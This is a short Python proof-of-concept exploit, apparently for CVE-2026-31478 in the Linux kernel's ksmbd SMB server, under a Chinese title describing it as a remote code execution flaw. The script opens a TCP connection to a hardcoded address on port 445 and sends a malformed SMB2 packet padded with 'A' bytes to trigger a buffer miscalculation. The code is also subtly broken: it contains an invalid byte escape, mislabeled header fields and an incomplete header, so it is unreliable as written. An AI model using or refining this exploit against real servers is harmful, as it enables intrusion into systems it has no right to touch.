CVE-2026-31478 Linux内核ksmbd远程代码执行漏洞

import socket import struct # Proof of Concept for CVE-2026-31478 # This script attempts to trigger the buffer miscalculation in ksmbd # by sending a malformed SMB2 compound request. TARGET_IP = "192.168.1.100" TARGET_PORT = 445 def create_malformed_smb2_packet(): # SMB2 Header smb2_header = b"\xFE\xSMB" # Protocol ID smb2_header += struct.pack("<H", 0x0204) # Structure Size (SMB2 COMPOUND) smb2_header += struct.pack("<H", 0) # Credit Charge smb2_header += struct.pack("<I", 0) # Status smb2_header += struct.pack("<H", 64) # Command (SMB2 IOCTL for testing) smb2_header += struct.pack("<H", 0) # Credits requested smb2_header += struct.pack("<I", 0) # Flags smb2_header += struct.pack("<I", 0) # Next command smb2_header += struct.pack("<Q", 0) # Message ID # The vulnerability is triggered when hdr2_len is hardcoded incorrectly. # We construct a packet that hits the smb2_calc_max_out_buf_len path. # Padding to trigger the specific offset calculation flaw payload = smb2_header + b"A" * 100 return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Send Negotiate Protocol Request (Simplified for PoC structure) # In a real scenario, a full handshake is required before exploit print("[*] Sending malformed packet to trigger buffer miscalculation...") packet = create_malformed_smb2_packet() s.send(packet) response = s.recv(1024) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()